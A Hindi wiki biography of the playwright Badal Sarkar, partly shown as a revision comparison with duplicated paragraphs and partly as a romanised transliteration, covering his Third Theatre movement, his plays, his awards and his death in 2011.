सन 1961 में उनका तीसरा नाटक 'राम श्याम जोदू' आया जो एक विदेशी कहानी पर आधारित था। इस नाटक की सफलता ने उन्हें एक अलग किस्म के थिएटर का जनक बनाया, जिसे भारत में 'थर्ड थिएटर' और 'साइको फिजिकल थिएटर' (मनो-शारीरिक रंगमंच) के नामों से जाना गया। सन 1963 में उन्होंने दो नाटकों का निर्देशन किया। ये नाटक थे - एवम् इंद्रजीत और वल्लभपुर की रूपकथा । इन नाटकों के साथ ही बादल सरकार का नाम हर रंगकर्मी की जुबान पर छा गया। बादल सरकार ने अपने साथियों के साथ ‘परिक्रमा’ कार्यक्रम के साथ बंगाल के अनेक ज़िलों में गांव-गांव जा कर नाटक किए और बंगाल के ग्रामीण जनों से सीधा रंगसम्पर्क बनाया। नादिया, 24 परगना आदि ज़िलों में भी गांव-गांव घूम कर बादल सरकार ने रंगकर्म का संदेश दे कर अभिजात्य नाट्य जगत को चुनौती दी। उनके नाटकों में कलाकारों और दर्शकों के बीच कोई फ़र्क़ नहीं होता है। बादल सरकार ने आंगन, छत, नुक्कड़ और गांवों में नाटकों को पहुंचा कर नाटक को व्यापक बनाया।<ref>{{cite web |url=http://jabalpur-chaupal.blogspot.com/2009/04/blog-post_21.html|title=प्रतिरोध को थियेटर का माध्यम बनाने वाले रंगकर्मी बादल सरकार |accessmonthday=10 जून|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
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सन 1961 में उनका तीसरा नाटक 'राम श्याम जोदू' आया जो एक विदेशी कहानी पर आधारित था। इस नाटक की सफलता ने उन्हें एक अलग किस्म के थिएटर का जनक बनाया, जिसे भारत में 'थर्ड थिएटर' और 'साइको फिजिकल थिएटर' (मनो-शारीरिक रंगमंच) के नामों से जाना गया। सन् 1963 में उन्होंने दो नाटकों का निर्देशन किया। ये नाटक थे - एवम् इंद्रजीत और वल्लभपुर की रूपकथा । इन नाटकों के साथ ही बादल सरकार का नाम हर रंगकर्मी की जुबान पर छा गया। बादल सरकार ने अपने साथियों के साथ ‘परिक्रमा’ कार्यक्रम के साथ बंगाल के अनेक ज़िलों में गांव-गांव जा कर नाटक किए और बंगाल के ग्रामीण जनों से सीधा रंगसम्पर्क बनाया। नादिया, 24 परगना आदि ज़िलों में भी गांव-गांव घूम कर बादल सरकार ने रंगकर्म का संदेश दे कर अभिजात्य नाट्य जगत् को चुनौती दी। उनके नाटकों में कलाकारों और दर्शकों के बीच कोई फ़र्क़ नहीं होता है। बादल सरकार ने आंगन, छत, नुक्कड़ और गांवों में नाटकों को पहुंचा कर नाटक को व्यापक बनाया।<ref name="JBC">{{cite web |url=http://jabalpur-chaupal.blogspot.com/2009/04/blog-post_21.html|title=प्रतिरोध को थियेटर का माध्यम बनाने वाले रंगकर्मी बादल सरकार |accessmonthday=10 जून|accessyear=2011|last= |first= |authorlink= |format= |publisher=जबलपुर चौपाल |language=हिन्दी}}</ref>
  
 
<blockquote>'मेरे नाटक संदेश मेरा संदेश देते हैं। परन्तु मैं महसूस करता हूं कि इन नाटकों को यदि मैं आज लिखता तो इनका फार्म और नेरेशन दूसरा होता। जिस पथ पर मैं अब तक चला और जो नवाचार मैंने भारतीय रंगमंच में किया, उस पर मुझे आज भी विश्वास है।' - बादल सरकार
 
<blockquote>'मेरे नाटक संदेश मेरा संदेश देते हैं। परन्तु मैं महसूस करता हूं कि इन नाटकों को यदि मैं आज लिखता तो इनका फार्म और नेरेशन दूसरा होता। जिस पथ पर मैं अब तक चला और जो नवाचार मैंने भारतीय रंगमंच में किया, उस पर मुझे आज भी विश्वास है।' - बादल सरकार
 
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बादल सरकार बताते हैं कि उन्होंने थिएटर अपने परिवार वालों के साथ मिल कर शुरू किया। घर से साड़ी-कपडे ले जा कर उसी से स्टेज बना कर पूरी लगन से नाटक तैयार करते थे। उन्होंने कई बार नाटकों में महिला पात्र का काम किया, हालांकि उनके माता-पिता को यह बिल्कुल पसंद नहीं था। 'नुक्कड़ नाटक' के उनके मुहावरे को [[राष्ट्रीय नाट्य विद्यालय]] तक में सम्मान मिला। बादल सरकार का रंगकर्म व्यवस्था के विरूद्ध उद्घोष है। उनकी ऊर्जा हर युवा को आकर्षित करती है, इसलिए बादल सरकार के नाटक पूरे देश में हर नाट्य दल द्वारा बार-बार खेले गए। बादल दा के नाटक समाज में अत्याचार और बिखरती समाज व्यवस्था के विरूद्ध तीखा प्रतिरोध करते हैं। समाज और राजनीति की विद्रूपताओं पर उनके नाटक गहरी चोट करते हैं। इस कारण से बादल सरकार के नाटक और वे स्वयं भी देश के रंगकर्मियों के चहेते हैं।<ref>{{cite web |url=http://jabalpur-chaupal.blogspot.com/2009/04/blog-post_21.html|title= प्रतिरोध को थियेटर का माध्यम बनाने वाले रंगकर्मी बादल सरकार|accessmonthday=10 जून|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
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बादल सरकार बताते हैं कि उन्होंने थिएटर अपने परिवार वालों के साथ मिल कर शुरू किया। घर से साड़ी-कपडे ले जा कर उसी से स्टेज बना कर पूरी लगन से नाटक तैयार करते थे। उन्होंने कई बार नाटकों में महिला पात्र का काम किया, हालांकि उनके माता-पिता को यह बिल्कुल पसंद नहीं था। 'नुक्कड़ नाटक' के उनके मुहावरे को [[राष्ट्रीय नाट्य विद्यालय]] तक में सम्मान मिला। बादल सरकार का रंगकर्म व्यवस्था के विरुद्ध उद्घोष है। उनकी ऊर्जा हर युवा को आकर्षित करती है, इसलिए बादल सरकार के नाटक पूरे देश में हर नाट्य दल द्वारा बार-बार खेले गए। बादल दा के नाटक समाज में अत्याचार और बिखरती समाज व्यवस्था के विरुद्ध तीखा प्रतिरोध करते हैं। समाज और राजनीति की विद्रूपताओं पर उनके नाटक गहरी चोट करते हैं। इस कारण से बादल सरकार के नाटक और वे स्वयं भी देश के रंगकर्मियों के चहेते हैं।<ref name="JBC"/>
 
==सम्मान और पुरस्कार==
 
==सम्मान और पुरस्कार==
 
बादल सरकार को वर्ष 1968 में [[संगीत नाटक अकादमी|संगीत नाटक अकादमी पुरस्कार]], वर्ष 1972 में [[पद्मश्री]], वर्ष 1997 में संगीत नाटक अकादमी-रत्न सदस्य का पुरस्कार मिल चुका है। वर्ष 2010 में भारत सरकार द्वारा उन्हें [[पद्मभूषण]] सम्मान दिया गया जो उन्होंने लेने से यह कहकर इंकार कर दिया कि एक लेखक का सबसे बड़ा सम्मान [[साहित्य अकादमी]] पुरस्कार वह पहले ही पा चुके हैं।<ref>{{cite web |url=http://www.jagranjosh.com/current-affairs/%E0%A4%A4%E0%A5%80%E0%A4%B8%E0%A4%B0%E0%A4%BE-%E0%A4%B0%E0%A4%82%E0%A4%97%E0%A4%AE%E0%A4%82%E0%A4%9A-%E0%A4%95%E0%A5%87-%E0%A4%B8%E0%A4%82%E0%A4%B8%E0%A5%8D%E0%A4%A5%E0%A4%BE%E0%A4%AA%E0%A4%95-%E0%A4%94%E0%A4%B0-%E0%A4%AD%E0%A4%BE%E0%A4%B0%E0%A4%A4%E0%A5%80%E0%A4%AF-%E0%A4%97%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%AE%E0%A5%80%E0%A4%A3-%E0%A4%AA%E0%A4%BE%E0%A4%B0%E0%A4%82%E0%A4%AA%E0%A4%B0%E0%A4%BF%E0%A4%95-%E0%A4%B0%E0%A4%82%E0%A4%97%E0%A4%AE%E0%A4%82%E0%A4%9A-%E0%A4%95%E0%A5%87-%E0%A4%AA%E0%A5%81%E0%A4%B0%E0%A5%8B%E0%A4%A7%E0%A4%BE-%E0%A4%AC%E0%A4%BE%E0%A4%A6%E0%A4%B2-%E0%A4%B8%E0%A4%B0%E0%A4%95%E0%A4%BE%E0%A4%B0-%E0%A4%95%E0%A4%BE-%E0%A4%A8%E0%A4%BF%E0%A4%A7%E0%A4%A8-1306929285-2 |title=तीसरा-रंगमंच-के-संस्थापक-और-भारतीय-ग्रामीण-पारंपरिक-रंगमंच-के-पुरोधा-बादल-सरकार-का-निधन |accessmonthday=10 जून|accessyear=2011 |last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
 
बादल सरकार को वर्ष 1968 में [[संगीत नाटक अकादमी|संगीत नाटक अकादमी पुरस्कार]], वर्ष 1972 में [[पद्मश्री]], वर्ष 1997 में संगीत नाटक अकादमी-रत्न सदस्य का पुरस्कार मिल चुका है। वर्ष 2010 में भारत सरकार द्वारा उन्हें [[पद्मभूषण]] सम्मान दिया गया जो उन्होंने लेने से यह कहकर इंकार कर दिया कि एक लेखक का सबसे बड़ा सम्मान [[साहित्य अकादमी]] पुरस्कार वह पहले ही पा चुके हैं।<ref>{{cite web |url=http://www.jagranjosh.com/current-affairs/%E0%A4%A4%E0%A5%80%E0%A4%B8%E0%A4%B0%E0%A4%BE-%E0%A4%B0%E0%A4%82%E0%A4%97%E0%A4%AE%E0%A4%82%E0%A4%9A-%E0%A4%95%E0%A5%87-%E0%A4%B8%E0%A4%82%E0%A4%B8%E0%A5%8D%E0%A4%A5%E0%A4%BE%E0%A4%AA%E0%A4%95-%E0%A4%94%E0%A4%B0-%E0%A4%AD%E0%A4%BE%E0%A4%B0%E0%A4%A4%E0%A5%80%E0%A4%AF-%E0%A4%97%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%AE%E0%A5%80%E0%A4%A3-%E0%A4%AA%E0%A4%BE%E0%A4%B0%E0%A4%82%E0%A4%AA%E0%A4%B0%E0%A4%BF%E0%A4%95-%E0%A4%B0%E0%A4%82%E0%A4%97%E0%A4%AE%E0%A4%82%E0%A4%9A-%E0%A4%95%E0%A5%87-%E0%A4%AA%E0%A5%81%E0%A4%B0%E0%A5%8B%E0%A4%A7%E0%A4%BE-%E0%A4%AC%E0%A4%BE%E0%A4%A6%E0%A4%B2-%E0%A4%B8%E0%A4%B0%E0%A4%95%E0%A4%BE%E0%A4%B0-%E0%A4%95%E0%A4%BE-%E0%A4%A8%E0%A4%BF%E0%A4%A7%E0%A4%A8-1306929285-2 |title=तीसरा-रंगमंच-के-संस्थापक-और-भारतीय-ग्रामीण-पारंपरिक-रंगमंच-के-पुरोधा-बादल-सरकार-का-निधन |accessmonthday=10 जून|accessyear=2011 |last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
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बादल सरकार के अनुसार शहरी [[रंगमंच]] पश्चिम से प्रभावित है और ग्रामीण रंगमंच पारंपरिक शैलियों से, और दोनों में ही अंतर्वस्तु की कमी है। शहरी रंगमंच अपने प्रोसिनियम दायरे में बंधा है और ग्रामीण या पारंपरिक रंगमंच अपनी पुरानी शैलियों में, जिसमें प्रखर राजनीतिक चेतना का अभाव है। बादल सरकार आधुनिक रंगमंच को प्रोसिनिमय दायरे से निकाल कर लोगों के बीच ले गए। गांवों और कस्बों में ले गए। बादल सरकार के नाटक जुलूस (बांग्ला में मिछिल) ने अखिल भारतीय स्तर पर 1974-75 के समय में जब [[जयप्रकाश नारायण]] के नेतृत्व में शुरू हुए छात्र आंदोलन का समय था, रंगकर्मिंयों और नाट्य प्रेमियों की कल्पनाशीलता को बेहद प्रभावित किया। नुक्कड़ नाटकों को लोकप्रिय बनाने, उसे रंगमंच की समकालीन बहस के बीच लाने में सबसे बड़ा योगदान बादल सरकार का ही है।
 
बादल सरकार के अनुसार शहरी [[रंगमंच]] पश्चिम से प्रभावित है और ग्रामीण रंगमंच पारंपरिक शैलियों से, और दोनों में ही अंतर्वस्तु की कमी है। शहरी रंगमंच अपने प्रोसिनियम दायरे में बंधा है और ग्रामीण या पारंपरिक रंगमंच अपनी पुरानी शैलियों में, जिसमें प्रखर राजनीतिक चेतना का अभाव है। बादल सरकार आधुनिक रंगमंच को प्रोसिनिमय दायरे से निकाल कर लोगों के बीच ले गए। गांवों और कस्बों में ले गए। बादल सरकार के नाटक जुलूस (बांग्ला में मिछिल) ने अखिल भारतीय स्तर पर 1974-75 के समय में जब [[जयप्रकाश नारायण]] के नेतृत्व में शुरू हुए छात्र आंदोलन का समय था, रंगकर्मिंयों और नाट्य प्रेमियों की कल्पनाशीलता को बेहद प्रभावित किया। नुक्कड़ नाटकों को लोकप्रिय बनाने, उसे रंगमंच की समकालीन बहस के बीच लाने में सबसे बड़ा योगदान बादल सरकार का ही है।
  
 
{{प्रचार}}
 
 
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{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
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*[http://www.printsasia.com/book/%E0%A4%AC%E0%A4%A6%E0%A4%B2-%E0%A4%B8%E0%A4%B0%E0%A4%95%E0%A4%BE%E0%A4%B0-%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A4%95%E0%A5%8D%E0%A4%A4%E0%A4%BF-%E0%A4%94%E0%A4%B0-%E0%A4%B0%E0%A4%82%E0%A4%97%E0%A4%AE%E0%A4%82%E0%A4%9A-%E0%A4%85%E0%A4%B6%E0%A5%8B%E0%A4%95-%E0%A4%AD%E0%A5%8C%E0%A4%AE%E0%A4%BF%E0%A4%95-9380044062-9789380044064 बादल सरकार व्यक्ति और रंगमंच]
 
*[http://www.printsasia.com/book/%E0%A4%AC%E0%A4%A6%E0%A4%B2-%E0%A4%B8%E0%A4%B0%E0%A4%95%E0%A4%BE%E0%A4%B0-%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A4%95%E0%A5%8D%E0%A4%A4%E0%A4%BF-%E0%A4%94%E0%A4%B0-%E0%A4%B0%E0%A4%82%E0%A4%97%E0%A4%AE%E0%A4%82%E0%A4%9A-%E0%A4%85%E0%A4%B6%E0%A5%8B%E0%A4%95-%E0%A4%AD%E0%A5%8C%E0%A4%AE%E0%A4%BF%E0%A4%95-9380044062-9789380044064 बादल सरकार व्यक्ति और रंगमंच]
 
*[http://mohallalive.com/2009/08/25/ashok-bhaumik-book-published-on-badal-sarkar/ बादल सरकार पर अशोक भौमिक की किताब प्रकाशित]
 
*[http://mohallalive.com/2009/08/25/ashok-bhaumik-book-published-on-badal-sarkar/ बादल सरकार पर अशोक भौमिक की किताब प्रकाशित]
*[http://bhadas4media.com/dukh-dard/11148-2011-05-15-07-54-00.html महान रंगद्रष्टा बादल सरकार को हमारी भाव भीनी श्रद्धांजलि!]
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*[http://bhadas4media.com/dukh-dard/11148-2011-05-15-07-54-00.html महान् रंगद्रष्टा बादल सरकार को हमारी भाव भीनी श्रद्धांजलि!]
 
*[http://www.antika-prakashan.com/2010/09/2008.html अंतिका प्रकाशन]
 
*[http://www.antika-prakashan.com/2010/09/2008.html अंतिका प्रकाशन]
 
==संबंधित लेख==
 
==संबंधित लेख==
{{नाटककार}}
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{{नाटककार}}{{संगीत नाटक अकादमी पुरस्कार}}
 
[[Category:रंगमंच]]
 
[[Category:रंगमंच]]
 
[[Category:नाटककार]]
 
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[[Category:नाट्य और अभिनय]]
 
[[Category:नाट्य और अभिनय]]
 
[[Category:पद्म श्री]]
 
[[Category:पद्म श्री]]
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[[Category:संगीत नाटक अकादमी पुरस्कार]]
 
__INDEX____NOTOC__
 
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Revision as of 05:49, 15 July 2018

badal sarakar
poora nam sudhindr sarakar
any nam badal sarakar
janm 15 julaee sanh 1925 ee.
janm bhoomi kolakata
mrityu 13 mee , 2011
mrityu sthan kolakata
abhibhavak pita- mahendralal sarakar, mata- saralamana sarakar
karm-kshetr kala aur sahity
mukhy rachanaean indrajit (1963), pagala gho da (1967), ram shyam jodoo (1961), kavi kahani (1964), baqi itihas (1965), tisari shatabdi (1966) adi.
shiksha baichalar aauph ianjini‍yariang' tatha 'taun ph‍laniang' mean diph‍loma
vidyalay shivapur ianjiniyariang k aaulej, kolakata
prasiddhi abhineta, natakakar, nirdeshak
vishesh yogadan nukk d natakoan ko lokapriy banane, use rangamanch ki samakalin bahas ke bich lane mean sabase b da yogadan badal sarakar ka hi hai.
nagarikata bharatiy
pahala natak s aaulyooshan eks (1956)

badal sarakar (aangrezi: Badal Sarakar, janm: 15 julaee, 1925 - mrity: 13 mee , 2011) abhineta, natakakar, nirdeshak aur in sabake atirikt rangamanch ke siddhaantakar the. unhoanne tisara rangamanch ka saiddhaantik pratipadan kiya, aur use manch par bhi utara. badal sarakar ne 'baichalar aauph ianjini‍yariang' tatha 'taun ph‍laniang' mean diph‍loma ki shiksha bharat aur videshoan mean li thi. vah bharat ke bahucharchit natakakaroan mean ek the. satavean dashak mean poore desh mean unaki dhoom machi thi. mohan rakesh, vijay teandulakar aur girish karnad ke sath badal sarakar ko milane ke bad hi us daur ka rangaparivesh sanpoorn hota tha. unake natak bhari sankhya mean hindi mean aur anh‍y bharatiy bhashaoan mean manchit hue aur ve baangh‍la ki paridhi se bahar nikal samagrata mean bharat ke natakakar aur bharatiy rangamanch ke agua bane. unh‍hoanne rangamanch ko prekshagrih ki paridhi se bahar nikala. aangan manch ka siddhaant racha. kam se kam kharch mean natak manchit karana aur amajan ke lie natak ko ni:shulh‍k upalabh‍dh karana unaka lakshh‍y bana. sanh 1956 mean badal sarakar ne apana pahala natak 's aaulh‍yooshan ekh‍s' likha.[1]

jivan parichay

15 julaee, 1925 ko kolakata ke ek eesaee parivar mean badal urph sudhindr sarakar ka janm hua. pita mahendralal sarakar 'sk aautish charch k aaulej' mean padhate the aur videshiyoan dvara sanchalit is sanstha ke ve pahale bharatiy pradhanachary bane the. maan, saralamana sarakar se badal sarakar ko sahity ki prerana mili. 1941 mean pratham shreni mean maitrik pas karane ke bad ve 'shivapur ianjiniyariang k aaulej' mean bharti hue aur 1946 mean ve sivil ianjiniyar bane. ianjiniyariang k aaulej mean padhate samay ve markh‍savadi vicharadhara aur rajaniti se saghan roop se ju d ge. kamyunist parti mean sakriy roop se kee varshoan tak ju de rahane ke bavajood, bad mean ve parti rajaniti se alag hat ge.

naukari

badal sarakar ne 1947 mean nagapur ke pas ek nirman sansh‍tha mean pahali naukari ki. bad mean ve phir kolakata laut ae jahaan unhoanne jadavapur aur kolakata vishvavidyalay mean ianjiniyar ki naukari ki. ve un dinoan naukari ke sath-sath shivapur ianjiniyariang k aaulej mean sayankalin kakshaoan mean 'taun ph‍laniang' diph‍loma ke lie padhaee karate rahe. 1953 mean domadar vaili karaporeshan ki naukari lekar maithan ge. maithan mean badal sarakar 1956 tak the. isi dauran natak ke prati unaka rujhan dikhane laga. daftar ke sahakarmiyoan ke sath milakar ek abhinav riharsal kh‍lab ki shuruat ki jahaan, badal sarakar ke shabh‍doan mean 'riharsal hoga par natak ka manchan kabhi nahian hoga.' jaisa abhinav niyam lagoo kiya gaya tha, par bad mean sadasyoan ke utsah se is niyam mean to dakar natakoan ke manchan ki shuruat huee.

bachapan se hi badal sarakar natakoan ke prati akarshit the. unhean natakoan mean hasy ras sabase zyada pasand tha, lihaza yah svabhavik hi tha ki unake praranbhik natakoan mean hamean yah tatv zyada mukhar dikhata hai. ve ise 'sichueshan k aaumedi' kahate haian. unaka 1956 mean likha gaya pahala natak 's aaulyooshan eks' tha. yah natak ek videshi film, 'Monkey Business' ki kahani par adharit ek sichueshan k aaumedi ke roop mean prasiddh hua.

videshoan mean

1957 se 1958, in do varshoan ke dauran unhoanne ianglaiand mean ‘taun-ph‍laniang’ ka kors karane ke sath-sath naukari ki. isi samay unh‍hean prasiddh abhinetaoan ka abhinay dekhane ka mauqa mila. vivayan li, charls laitan, maikal r aaudareth, margaret k aaulinh‍s adi ke abhinay aur vahaan ke rangakarm se ve behad prabhavit hue. par shayad unake ‘tisare rangamanch’ ki nianv ki pahali eeant ke roop mean phreanch kavi r aausin ki kriti ‘phridre’ natak ko dekhane ka anubhav tha. 21 faravari, 1958 ko dekhe ge 'thietar-in-raunh‍d' mean is prastuti ke bare mean apane anubhavoan ko dayari ke pannoan mean darj karate hue unhoanne likha tha, 'aj jo dekha use kabhi bhula n paooanga.' mukt manch ke is anubhav ko ham varshoan bad unake tisare rangamanch ki avadharanaoan mean vikasit hote dekh pate haian.

ianglaiand pravas ke dinoan mean hi unhoanne 'bo do pishi maan' (b di booaji) likha. isi samay unh‍hoanne ek chhota natak 'shanivar' likha. yah natak ji.bi. prish‍tale ke natak 'en inspektar k aauls' par adharit tha. 1959 mean ve ianglaiand se kolakata laut ae aur ate hi apane utsahi mitroan ke sath 'chakragoshthi' nam se ek 'naty sanstha' ki nianv rakhi. har shanivar ko is goshthi mean natak ke sath-sath sangit, sahith‍y, vijnan adi vibhinn vishayoan par charcha hoti thi. isi 'chakragoshthi' ke prayas se unake kee aranbhik natakoan se darshak parichit hue. 'bo do pishimaan', 'shonibar', 'samavrit', 'ramashyamajadu' adi jinamean pramukh haian.

isake bad badal sarakar phraans sarakar ke arthik anudan par vahaan ge aur phir tin varshoan tak naijiriya mean naukari ki. is videsh pravas ke dauran unhoanne 'eboan indrajit', 'sara rattir', 'ballabhapurer roopakatha', 'jodi ar ekabar', 'triansh shatabdi', 'pagala gho da', 'pralap', 'pore konodin' jaise mahattvapoorn natak likhe.

bharat lautane par

desh mean lautane ke pahale hi 'eboan indrajit' bahuroopi naty patrika mean (aank: 22 julaee, 1965) prakashit hua. isake prakashan ke sath hi badal sarakar ki khyati charoan or phail gee. isaka pahala manchan 'shaubhanik' natyasanstha ne 16 disanbar, 1965 ko kiya. natak ke prakashan aur manchan ne naty jagath mean manoan dhoom macha di. 1968 ko unhean is natak ke lie sangit natak akadami puraskar mila. naiziriya se bharat lautane ke turant bad unhoanne 'baki itihas' likha. un dinoan shanbhu mitr rangamanch ke shirshasth vyaktiyoan mean the. unaki naty sanstha 'bahuroopi' ne 'baki itihas' ka saphal manchan kiya. ye donoan natak unake 'sichueshanal k aaumedi' vale natakoan se bilkul bhinn the, jo bharatiy rangamanch mean ek ne yug ka sanket tha.

'shatabdi' naty sanstha

1967 mean unhoanne apane sathiyoan ke sath 'shatabdi' naty sanstha ki sthapana ki. 18 march, 1967 ko 'ravindr sarovar manch' se 'shatabdi' ne apani rangayatra shuroo ki. 1956 se lekar 1967 tak ke sabhi natak badal sarakar ne 'proseniyam manch' ke lie likhe the. lihaza 'shatabdi' ki aranbhik prastutiyaan 'proseniyam' hi thian. 1971 se rangamanch ko lekar badal sarakar ki avadharanaean teji se badalane lagi thian aur ve nirantar prayog kar rahe the. prayogoan ke is daur se gujarate hue ve 'tisare rangamanch' tak jald hi pahuanch sake. ve manane lage the ki 'natak ek jivant kala madhyam hai- Live show ! logoan ka do samooh - ek hi vakh‍t, ek hi sh‍than par ikatthe hokar ek kala madhh‍yam ke sath ju d rahe haian - abhinetaoan aur darshakoan ke do samooh ke roop mean. yah ek manaviy kriya hai - manushh‍y ka manushh‍y ke sath ju dav. sinema hamean aise prath‍yaksh ju dav ka mauqa nahian deta.' aise hi vicharoan se rangamanch par prayog karate hue, unh‍hoanne anh‍tat: rangamanch ko sarthak kala madhh‍yam ke roop mean sh‍thapit karane ke uddeshh‍y se, proseniyam rangamanch ko tyag, tisare rangamanch ko am janata tak ek 'phri-thietar' ke roop mean le jane mean kamayabi hasil ki.

1970 se 1993

1970 se 1993 tak badal sarakar ke sabhi natak tisare ya vikalp ke rangamanch ko dhyan mean rakhakar likhe ge. 'shatabdi' ke alava poore desh mean in natakoan ko vibhinn bhashaoan mean, chhote-bade़ shaharoan - kash‍boan mean vibhinh‍n naty sansh‍thaoan dvara khela gaya. badal sarakar ke tisare rangamanch ne bharat ki bhashaee, praantiy aur saanskritik dooriyoan ko khatm kar pahali bar ek sarthak bharatiy rangamanch vikasit karane ki disha mean ek saphal prayas kiya. marathi, hindi, panjabi, gujarati, malayali, kann d, odiy़a adi bharatiy bhashaoan mean unake natak manchit hue aur kisi n kisi roop mean desh ke sabhi praantoan ke rangakarmiyoan ko tisare rangamanch ne apani or akarshit kiya.

sahity samikshak chinmay guha ka kathan

prasiddh kala aur sahity samikshak chinmay guha ne badal sarakar ke jivan aur krititv par charcha karate hue 'anand bazar patrika' [2] mean likha hai, jo behad gauratalab hai - 'aj se sau varsh bad shayad is bat par bahas ho ki kya bisavian aur ikkisavian sadi ke sandhi kal mean, ek hi sath tin-tin badal sarakar hue the jinamean se ek ne saras par bauddhak roop se prakhar sanvadoan se bhare, k aaumik sthitiyoan ki barikiyoan par apani paini nazar sadhe, behad prabhavashali hasy natak likhe the. doosare, jinhoanne samaj mean hiansa ke, vishv rajanitik khianchatani ke chalate yuddh ki kali parachhaee ke, paramanu astroan ke, atank ke aur samaj mean badhati arthik asamanata ke khilaf apani avaz ko apane natakoan mean darj kiya tha aur tisare, jinhoanne prekshagrihoan ke aandar kaid manoranjan pradhan rangamanch ko ek muktakash ke niche am janata tak pahuanchane ka sapana dekha tha.'

bharatiy rangamanch ka vikas

aj se sau varsh bad ke pathakoan ko shayad in tinoan badal sarakar ko ek hi vyaktitv ke roop mean chihnit karane mean kathinaee hogi. lekin rahat ki bat ki bharatiy janata ke sukh-dukh, unaki chiantaoan, unaki samasyaoan aur satta dvara unake shoshan ki samanata ke chalate unaki jo ek vishisht pahachan bani thi- bhasha, praant aur sanskriti ke bich ki divaroan ko to de kar bani thi. isi vishisht pahachan ko adhar manakar bharatiy rangamanch ka vikas sanbhav hua tha. sinema-telivijan aur tamam any manoranjan ke sadhanoan ke jarie jahaan satta ki sanskriti jan sansh‍kriti ke khilaf vyapak roop se sakriy ho rahi thi aur janata ke sarokaroan aur savaloan se unhean bhramit karane mean lagi thi, tab samaj parivartan ke uddeshy se n sahi, mahaj ek deshavyapi pratirodh ki sanskriti ko zianda rakhane ke lie, tisare rangamanch ne ek mahattvapoorn bhoomika nibhaee thi. badal sarakar aur unake tisare rangamanch ko ane vale kal ke pathak usi tarah tarah se apane qarib paeange- jitane qarib aur ath‍miy sarakar aj hamare haian.[3]

rachanaean

thumb

  1. ram shyam jodoo(1961)
  2. kavi kahani (1964),
  3. baqi itihas (1965),
  4. tisari shatabdi (1966),
  5. yadi phir ek bar (1966),
  6. pagala gho da (1967),
  7. aant nahian (1970),
  8. sagina mehata (1970),
  9. aboo hasan (1971),
  10. michhil-juloos (1974) adi.
pustakean

badal sarakar batate haian- 'maianne apana kam kavitaoan se shuroo kiya. sanh 1956 mean maianne apana pahala natak s aaulyooshan eks likha. phir sanh 1956 mean 'baro pishima' aya.' abhi hal hi mean unaki do pustakean 'purono kushundi aur probosher hijjibijji aee haian, jinamean unake natakoan, anubhavoan aur videsh yatraoan ka vivaran hai.

nukk d natak

san 1961 mean unaka tisara natak 'ram shyam jodoo' aya jo ek videshi kahani par adharit tha. is natak ki saphalata ne unhean ek alag kism ke thietar ka janak banaya, jise bharat mean 'thard thietar' aur 'saiko phijikal thietar' (mano-sharirik rangamanch) ke namoan se jana gaya. sanh 1963 mean unhoanne do natakoan ka nirdeshan kiya. ye natak the - evamh iandrajit aur vallabhapur ki roopakatha . in natakoan ke sath hi badal sarakar ka nam har rangakarmi ki juban par chha gaya. badal sarakar ne apane sathiyoan ke sath ‘parikrama’ karyakram ke sath bangal ke anek ziloan mean gaanv-gaanv ja kar natak kie aur bangal ke gramin janoan se sidha rangasampark banaya. nadiya, 24 paragana adi ziloan mean bhi gaanv-gaanv ghoom kar badal sarakar ne rangakarm ka sandesh de kar abhijaty naty jagath ko chunauti di. unake natakoan mean kalakaroan aur darshakoan ke bich koee farq nahian hota hai. badal sarakar ne aangan, chhat, nukk d aur gaanvoan mean natakoan ko pahuancha kar natak ko vyapak banaya.[4]

'mere natak sandesh mera sandesh dete haian. parantu maian mahasoos karata hooan ki in natakoan ko yadi maian aj likhata to inaka pharm aur nereshan doosara hota. jis path par maian ab tak chala aur jo navachar maianne bharatiy rangamanch mean kiya, us par mujhe aj bhi vishvas hai.' - badal sarakar

badal sarakar batate haian ki unhoanne thietar apane parivar valoan ke sath mil kar shuroo kiya. ghar se sa di-kapade le ja kar usi se stej bana kar poori lagan se natak taiyar karate the. unhoanne kee bar natakoan mean mahila patr ka kam kiya, halaanki unake mata-pita ko yah bilkul pasand nahian tha. 'nukk d natak' ke unake muhavare ko rashtriy naty vidyalay tak mean samman mila. badal sarakar ka rangakarm vyavastha ke viruddh udghosh hai. unaki oorja har yuva ko akarshit karati hai, isalie badal sarakar ke natak poore desh mean har naty dal dvara bar-bar khele ge. badal da ke natak samaj mean atyachar aur bikharati samaj vyavastha ke viruddh tikha pratirodh karate haian. samaj aur rajaniti ki vidroopataoan par unake natak gahari chot karate haian. is karan se badal sarakar ke natak aur ve svayan bhi desh ke rangakarmiyoan ke chahete haian.[4]

samman aur puraskar

badal sarakar ko varsh 1968 mean sangit natak akadami puraskar, varsh 1972 mean padmashri, varsh 1997 mean sangit natak akadami-ratn sadasy ka puraskar mil chuka hai. varsh 2010 mean bharat sarakar dvara unhean padmabhooshan samman diya gaya jo unhoanne lene se yah kahakar iankar kar diya ki ek lekhak ka sabase b da samman sahity akadami puraskar vah pahale hi pa chuke haian.[5]

nidhan

tisara rangamanch ke sansthapak aur bharatiy gramin paranparik rangamanch ke purodha badal sarakar ka pashchim bangal ki rajadhani kolakata mean 13 mee 2011 ko nidhan ho gaya. badal sarakar kaiansar se pi dit the.

yogadan

